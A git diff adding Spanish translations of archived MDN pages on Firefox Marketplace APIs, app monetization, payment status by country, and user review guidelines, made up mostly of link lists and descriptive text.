+   <li><a href="/es/Marketplace/Monetization/App_payments_guide">Guía de pagos de aplicaciones</a></li>
+   <li><a href="/es/Marketplace/Monetization/In-app_payments" title="A guide to implementing support for in-app payments in your Web app.">Pagos en aplicación</a></li>
+   <li><a href="/es/Marketplace/Monetization/validating_a_receipt" title="A guide to when—and how—to validate your app's purchase receipt.">Validando un recibo</a></li>
+   <li><a href="/es/Marketplace/Monetization/App_pricing" title="A round up of fixed price points you can choose for your paid apps, and how these vary across different currencies, along with useful supporting information on dealing with app payments.">Lista de precios de aplicación</a></li>
+   <li><a href="/es/Marketplace/Monetization/Payments_Status" title="An at-a-glance summary of what countries have got our app payment services set up in them — where paid apps can be distributed">Estado del pago</a></li>
+  </ol>
+ </li>
+ <li><a href="/es/Marketplace/APIs">APIs del Marketplace</a>
+  <ol>
+   <li><a href="/es/Marketplace/APIs/Marketplace_utility_library" title="To help you work with the Firefox Marketplace, we provide a JavaScript library you can use in your apps to make it easier to handle in-app payments and verify payment receipts.">Biblioteca de utilidades del Marketplace</a></li>
+   <li><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/submission.html" title="The Submission API lets you validate your app, update your app, and fetch information about the apps available to be installed.">API de presentación</a></li>
+   <li><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/payment.html" title="The Payment API lets you get information about and process in-app purchases as well as to simply get information about what pricing tiers are available.">API de pago</a></li>
+   <li><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/overview.html" title="All Marketplace-related documentation is centered here.">API del Marketplace</a></li>
+  </ol>
+ </li>
+ <li><a href="/es/Marketplace/FAQ">Preguntas frecuentes del Firefox Marketplace</a></li>
+</ol>
diff --git a/files/es/mozilla/marketplace/marketplace_apis/index.html b/files/es/mozilla/marketplace/marketplace_apis/index.html
new file mode 100644
index 0000000000..fc8b78e53e
--- /dev/null
+++ b/files/es/mozilla/marketplace/marketplace_apis/index.html
@@ -0,0 +1,56 @@
+---
+title: Firefox Marketplace APIs
+slug: Mozilla/Marketplace/Marketplace_APIs
+translation_of: Archive/Mozilla/Marketplace/Marketplace_APIs
+---
+<p>Enlaces a las principales referencias que cubren las APIs de Marketplace de Mozilla Firefox, con las cuales usted puede manejar presentaciones de apps, configurar una cuenta de pago para una app, y más.</p>
+
+<dl>
+	<dt><a href="/en-US/docs/Web/Apps/Publishing/Marketplace_utility_library">Biblioteca de utilidades del Marketplace</a></dt>
+	<dd>Para ayudarle a trabajar con el Marketplace Firefox, proporcionamos una biblioteca JavaScript que usted puede usar en sus apps para hacer más fácil el manejo de pagos dentro de la aplicación y verficar la recepción de pagos.</dd>
+	<dt><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/submission.html" title="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/submission.html">API de Presentación</a></dt>
+	<dd>La API de Presentación le permite validar su app, actualizar su app, y dar información acerca de las apps que están disponibles para ser instaladas.</dd>
+	<dt><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/payment.html" title="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/payment.html">API de Pago</a></dt>
+	<dd>La API de Pago le permite hacer cosas tales como obtener información acerca de compras dentro de la aplicación y obtener información acerca de los níveles de precios de varios países.</dd>
+	<dt><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/overview.html" title="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/overview.html">Otras APIs de Marketplace</a></dt>
+	<dd>La documentación completa para las APIs de Marketplace de Firefox.</dd>
+</dl>
+
+<h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5>
+<ul>
+    <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li>
+    <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li>
+    <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li>
+</ul>
+<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5>
+<div class="twocolumns">
+    <ul>
+        <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+        <li><a href="/en-US/docs/DOM">DOM</a></li>
+        <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
+        <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
+        <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
+        <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+        <li><a href="/en-US/docs/SVG">SVG</a></li>
+        <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li>
+        <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li>
+    </ul>
+</div>
+<h5 class="Community" id="Community" name="Community">Getting help from the community</h5>
+<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p>
+<ul>
+    <li>Consult the webapps forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> como RSS</a></li>
+</ul>
+        <ul>
+            <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+    </li>
+</ul>
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p>
+
+<p> </p>
diff --git a/files/es/mozilla/marketplace/monetization/estatus_de_pagos/index.html b/files/es/mozilla/marketplace/monetization/estatus_de_pagos/index.html
new file mode 100644
index 0000000000..b9e56c49e1
--- /dev/null
+++ b/files/es/mozilla/marketplace/monetization/estatus_de_pagos/index.html
@@ -0,0 +1,32 @@
+---
+title: Estatus de pagos
+slug: Mozilla/Marketplace/Monetization/Estatus_de_pagos
+tags:
+  - Pagos Web
+translation_of: Archive/Marketplace/Monetization/App_pricing
+---
+<div class="summary">
+ <p><span class="seoSummary">Los pagos del <span class="seoSummary"><a href="https://marketplace.firefox.com/">Firefox Marketplace</a> son procesados país por país según una base, con diferentes precios y metodos de pagos disponibles en cada país.</span> <span id="result_box" lang="es"><span class="hps">Este</span> <span class="hps">artículo detalla</span> <span class="hps">qué países están</span> <span class="hps">apoyados por</span> <span class="hps">los pagos</span> <span class="hps">del mercado,</span> <span class="hps">y proporciona vínculos a</span> <span class="hps">información más específica sobre</span> <span class="hps">cada país.</span></span></span></p>
+</div>
+<div class="note">
+ <p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Una lista de los</span> <span class="hps">puntos de precio</span> <span class="hps">se documenta</span> <span class="hps">en nuestra</span> <a href="/en-US/docs/Mozilla/Marketplace/App_pricing">página de precios de App</a> <span class="hps">y</span> <a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/payment.html#pay-tiers">esta disponible en la API</a></span>.</p>
+</div>
+<h2 id="Soporte_de_pagos_por_país">Soporte de pagos por país</h2>
+<p>Estos son los paises que el Marketplace soporta para hacer pagos. Estamos trabajando en agregar soporte para mas paises todo el tiempo. Para una lista de los paises soportados, por favor ve la<a href="/en-US/docs/Mozilla/Marketplace/App_pricing"> página de precios de App</a>.</p>
+<h2 id="App_payouts">App payouts</h2>
+<p>Mira las páginas siguients para mas detalles sobre el pago según tu país. Ten en cuenta, si bien tomamos en cuenta la moneda local de facturación, los pagos de tarjeta de credito solo pueden ser manejados en libras esterlinas, dólares estadounidences y euros.</p>
+<ul>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Brazil">Brasil</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Colombia">Colombia</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Germany">Alemania</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Hungary">Hungría</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Mexico">México</a></li>
+ <li><a href="/Marketplace/Monetization/App_pricing/Payout_Poland">Polonia</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Spain">España</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_UK">Reino Unido</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_US">Estados Unidos</a></li>
+ <li><a href="/en-US/Marketplace/Monetization/App_pricing/Payout_Venezuela">Venezuela</a></li>
+</ul>
+<h2 id="Más_información_sobre_tasas">Más información sobre tasas</h2>
+<p>Para obtener más información sobre tasas, ve al Firefox Marketplace y ve la pagina de tu app. Clikea en <em>Compatibilidad y Pagos</em>, luego <em>Añadir manejar o ver transacciones de su cuenta de pago.</em> A continuación haz click en el link <em>Ver transacciones</em>, como se muestra a continuación.</p>
+<p><img alt="Transactions link" src="https://mdn.mozillademos.org/files/6567/transactions.png" style="width: 600px; height: 104px;"></p>
diff --git a/files/es/mozilla/marketplace/monetization/index.html b/files/es/mozilla/marketplace/monetization/index.html
new file mode 100644
index 0000000000..47dd53a78b
--- /dev/null
+++ b/files/es/mozilla/marketplace/monetization/index.html
@@ -0,0 +1,80 @@
+---
+title: Monetización
+slug: Mozilla/Marketplace/Monetization
+tags:
+  - Apps
+  - Marketplace
+translation_of: Archive/Marketplace/Monetization
+---
+<div class="summary">
+ <p>Has trabajado duro programando tu ultima app, pero, ¿cómo puedes obtener algo de vuelta cuando la publiques? Esta sección muestra toda la informacion que necesitas para implementar los pagos de aplicaciones, si se trata de pagos del Marketplace o de pagos dentro de la aplicacion.</p>
+</div>
+<div class="row topicpage-table">
+ <div class="section">
+  <dl>
+   <dt>
+    <a href="https://developer.mozilla.org/en-US/docs/Apps/Tutorials/General/Profiting_from_your_app">Beneficiate de tu app</a></dt>
+   <dd>
+    Esta guía detallada contiene discusiones introductorias acerca de como monetizar tus apps, incluyendo apps de pago, precios y manejo de pagos.</dd>
+   <dt>
+    <a href="/en-US/Marketplace/Monetization/App_payments_guide">Guía de pagos de aplicaciones</a></dt>
+   <dd>
+    Este articulo cubre los tecnicismos de las apps de pago.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/In-app_payments">Pagos dentro de las apps</a></dt>
+   <dd>
+    Una guía detallada de como implementar soporte para pagos dentro de las apps en tu Web app.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Validating_a_receipt">Validar un recibo</a></dt>
+   <dd>
+    Una guía de cuando (y como) validar el recibo de compra de tu app, sí quieres implementar la validación tu mismo, o usar una libreria preexistente.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/App_pricing" title="/en-US/docs/Web/Apps/Publishing/App_pricing">Lista de precios de aplicaciones</a></dt>
+   <dd>
+    Una serie de puntos de precios fijos que puedes escoger para tus apps de pago y como estos varian a traves de diferentes monedas, junto con informacion útil de apoyo acerca de como ocuparse de los pagos de las apps.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Payments_Status" title="/en-US/docs/Web/Apps/Publishing/Payments_Status">Estado de los pagos</a></dt>
+   <dd>
+    Un resumen rápido de que paises tienen nuestos servicios de pagos de apps configurados (básicamente, donde pueden ser distribuidas las apps de pago).</dd>
+  </dl>
+ </div>
+ <div class="section">
+  <h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5>
+<ul>
+    <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li>
+    <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li>
+    <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li>
+</ul>
+<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5>
+<div class="twocolumns">
+    <ul>
+        <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+        <li><a href="/en-US/docs/DOM">DOM</a></li>
+        <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
+        <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
+        <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
+        <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+        <li><a href="/en-US/docs/SVG">SVG</a></li>
+        <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li>
+        <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li>
+    </ul>
+</div>
+<h5 class="Community" id="Community" name="Community">Getting help from the community</h5>
+<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p>
+<ul>
+    <li>Consult the webapps forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> como RSS</a></li>
+</ul>
+        <ul>
+            <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+    </li>
+</ul>
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p>
+ </div>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/marketplace/monetization/introduccion_monetizacion/index.html b/files/es/mozilla/marketplace/monetization/introduccion_monetizacion/index.html
new file mode 100644
index 0000000000..e8a4733c9c
--- /dev/null
+++ b/files/es/mozilla/marketplace/monetization/introduccion_monetizacion/index.html
@@ -0,0 +1,83 @@
+---
+title: Introducción — Monetizacion
+slug: Mozilla/Marketplace/Monetization/Introduccion_Monetizacion
+tags:
+  - Apps
+  - Firefox OS
+  - Marketplace
+  - Principiantes
+  - introducción
+translation_of: Archive/Marketplace/Monetization/Introduction_Monetization
+---
+<div class="summary">
+ <p>Has trabajado duro programando tu última app, pero, ¿cómo puedes obtener algo de vuelta cuando la publiques? Esta sección muestra toda la informacion que necesitas para implementar los pagos de aplicaciones, sí se trata de pagos del Marketplace o de pagos dentro de la aplicacion.</p>
+</div>
+<div class="row topicpage-table">
+ <div class="section">
+  <dl>
+   <dt>
+    <a href="https://developer.mozilla.org/en-US/docs/Apps/Tutorials/General/Profiting_from_your_app">Beneficiate de tu app</a></dt>
+   <dd>
+    Esta guía detallada contiene discusiones introductorias acerca de como monetizar tus apps, incluyendo apps de pago, precios y manejo de pagos.</dd>
+   <dt>
+    <a href="/en-US/Marketplace/Monetization/App_payments_guide">Guía de pagos de aplicaciones</a></dt>
+   <dd>
+    Este articulo cubre los tecnicismos de las apps de pago.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/In-app_payments">Pagos dentro de las apps</a></dt>
+   <dd>
+    Una guía detallada de como implementar soporte para pagos dentro de las apps en tu Web app.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Validating_a_receipt">Validar un recibo</a></dt>
+   <dd>
+    Una guía de cuando (y como) validar el recibo de compra de tu app, sí quieres implementar la validación tu mismo, o usar una libreria preexistente.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/App_pricing" title="/en-US/docs/Web/Apps/Publishing/App_pricing">Lista de precios de apps</a></dt>
+   <dd>
+    Una serie de puntos de precios fijos que puedes escoger para tus apps de pago y como estos varian a traves de diferentes monedas, junto con informacion útil de apoyo acerca de como ocuparse de los pagos de las apps.</dd>
+   <dt>
+    <a href="/en-US/docs/Web/Apps/Publishing/Payments_Status" title="/en-US/docs/Web/Apps/Publishing/Payments_Status">Estado de los pagos</a></dt>
+   <dd>
+    Un resumen rápido de que paises tienen nuestos servicios de pagos de apps configurados (básicamente, donde pueden ser distribuidas las apps de pago).</dd>
+  </dl>
+ </div>
+ <div class="section">
+  <h5 class="Tools" id="Tools" name="Tools">Tools for app developers</h5>
+<ul>
+    <li><a href="https://marketplace.firefox.com/developers/">Visit Firefox Marketplace Developer Hub</a></li>
+    <li><a href="/en-US/docs/Mozilla/Firefox_OS/Using_Firefox_OS_Simulator">Firefox OS Simulator</a></li>
+    <li><a href="/en-US/docs/Apps/App_developer_tools">App developer tools</a></li>
+</ul>
+<h5 class="Documentation" id="Documentation" name="Documentation">Technology reference documentation</h5>
+<div class="twocolumns">
+    <ul>
+        <li><a href="/en-US/docs/Web/CSS">CSS</a></li>
+        <li><a href="/en-US/docs/DOM">DOM</a></li>
+        <li><a href="/en-US/docs/Web/HTML">HTML</a></li>
+        <li><a href="/en-US/docs/JavaScript">JavaScript</a></li>
+        <li><a href="/en-US/docs/WebAPI">WebAPI</a></li>
+        <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+        <li><a href="/en-US/docs/SVG">SVG</a></li>
+        <li><a href="https://www.mozilla.org/en-US/apps/">Open Web Apps overview site</a></li>
+        <li><a href="https://wiki.mozilla.org/Apps">Apps project wiki page</a></li>
+    </ul>
+</div>
+<h5 class="Community" id="Community" name="Community">Getting help from the community</h5>
+<p>If you still aren't sure how to do what you're trying to get done, feel free to join the conversation!</p>
+<ul>
+    <li>Consult the webapps forum: <ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-webapps"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.webapps/feeds"> como RSS</a></li>
+</ul>
+        <ul>
+            <li>Ask your question on the Open Web Apps IRC channel: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+        </ul>
+    </li>
+</ul>
+<p><span class="alllinks"><a href="http://www.catb.org/~esr/faqs/smart-questions.html" rel="external">Don't forget about the <em>netiquette</em>...</a></span></p>
+ </div>
+</div>
+<p> </p>
diff --git a/files/es/mozilla/marketplace/normas_valoracion_usuario/index.html b/files/es/mozilla/marketplace/normas_valoracion_usuario/index.html
new file mode 100644
index 0000000000..c8dc291d92
--- /dev/null
+++ b/files/es/mozilla/marketplace/normas_valoracion_usuario/index.html
@@ -0,0 +1,92 @@
+---
+title: Normas de valoración de usuario
+slug: Mozilla/Marketplace/normas_valoracion_usuario
+tags:
+  - Marketplace
+  - moderación de valoraciones
+  - normas de valoración
+  - valoraciones de usuario
+translation_of: Archive/Mozilla/Marketplace/User_Review_Guidelines
+---
+<p dir="ltr" id="docs-internal-guid-bb5c2526-70a8-0ad5-cf5e-0739de96a6ea" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">La valoración de aplicaciones es una manera de que compartas tu opinión acerca de las aplicaciones que has instalado y usado. Nuestro <a href="https://wiki.mozilla.org/Marketplace/Reviewers/Apps/Guide/ReviewModeration">equipo de moderación</a> se reserva el derecho de borrar cualquier valoración que no cumpla con estas normas.</span></p>
+
+<h2 dir="ltr" id="Algunos_consejos_para_escribir_una_buena_valoración" style="line-height: 1.38; margin-top: 18pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 23px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Algunos consejos para escribir una buena valoración</strong></h2>
+
+<h3 dir="ltr" id="Cosas_que_hacer" style="line-height: 1.38; margin-top: 14pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 17px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Cosas que hacer:</strong></h3>
+
+<ul style="margin-top: 0pt; margin-bottom: 0pt;">
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Escribe como si le hablaras a un amigo sobre tu experiencia con la aplicación.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Da detalles específicos y útiles. Por ejemplo: </span></p>
+
+  <ul style="margin-top: 0pt; margin-bottom: 0pt;">
+   <li dir="ltr" style="list-style-type: circle; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+    <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">¿La aplicación funcionó como lo esperabas?</span></p>
+   </li>
+   <li dir="ltr" style="list-style-type: circle; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+    <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">¿Qué características te gustaron y cuáles no te gustaron? </span></p>
+   </li>
+   <li dir="ltr" style="list-style-type: circle; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+    <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">¿Te pareció útil?</span></p>
+   </li>
+   <li dir="ltr" style="list-style-type: circle; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+    <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">¿Te pareció fácil de usar?</span></p>
+   </li>
+   <li dir="ltr" style="list-style-type: circle; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+    <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">¿Seguirás usando esta aplicación?</span></p>
+   </li>
+  </ul>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Tómate un momento para leer tu valoración antes de enviarla para evitar los errores ortográficos.</span></p>
+ </li>
+</ul>
+
+<h3 dir="ltr" id="Cosas_que_no_hacer" style="line-height: 1.38; margin-top: 14pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 17px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Cosas que no hacer:</strong></h3>
+
+<ul style="margin-top: 0pt; margin-bottom: 0pt;">
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Escribir valoraciones para aplicaciones que no has usado personalmente.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Usar un lenguaje vulgar, sexual, o que pueda ser interpretado como de odio.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Incluir HTML, vínculos, código fuente, o fragmentos de código. Las valoraciones deben estar compuestas de solo texto.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Declarar falsedades, hablar mal de los derarrolladores o insultarlos personalmente.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Incluir tu correo electrónico, número telefónico, u otros detalles personales.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Publicar valoraciones para una aplicación que tú o tu organización crearon o representan.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Criticar una aplicación por algo que hace intencionalmente. Por ejemplo, dejar una valoración negativa de una aplicación por mostrar anuncios o requerir la recopilación de datos, cuando es el propósito de la aplicación, o la aplicación necesita recopilar datos para funcionar.</span></p>
+ </li>
+ <li dir="ltr" style="list-style-type: disc; font-size: 15px; font-family: Arial; color: #000000; background-color: transparent; font-weight: normal; font-style: normal; font-variant: normal; text-decoration: none; vertical-align: baseline;">
+  <p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Dar una valoración negativa a una aplicación por no funcionar en una versión de FirefoxOS con la que explícitamente </span>dice que no es compatible.</p>
+ </li>
+</ul>
+
+<h2 dir="ltr" id="Preguntas_frecuentes_sobre_las_Valoraciones" style="line-height: 1.38; margin-top: 18pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 23px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">Preguntas frecuentes sobre las Valoraciones</strong></h2>
+
+<h3 dir="ltr" id="¿Cómo_puedo_reportar_una_valoración_problemática" style="line-height: 1.38; margin-top: 14pt; margin-bottom: 4pt;"><strong style="background-color: transparent; color: #000000; font-family: arial; font-size: 17px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;">¿Cómo puedo reportar una valoración problemática?</strong></h3>
+
+<p dir="ltr" style="line-height: 1.38; margin-top: 0pt; margin-bottom: 0pt;"><span style="background-color: transparent; color: #000000; font-family: arial; font-size: 15px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;">Por favor reporta o marca cualquier valoración cuestionable haciendo clic en "Reportar esta valoración" y será enviada al sitio para moderación. Nuestro equipo de moderación utilizará las Normas de valoración para evaluar si borrar o no la valoración o restaurarla en el sitio web.</span></p>
+
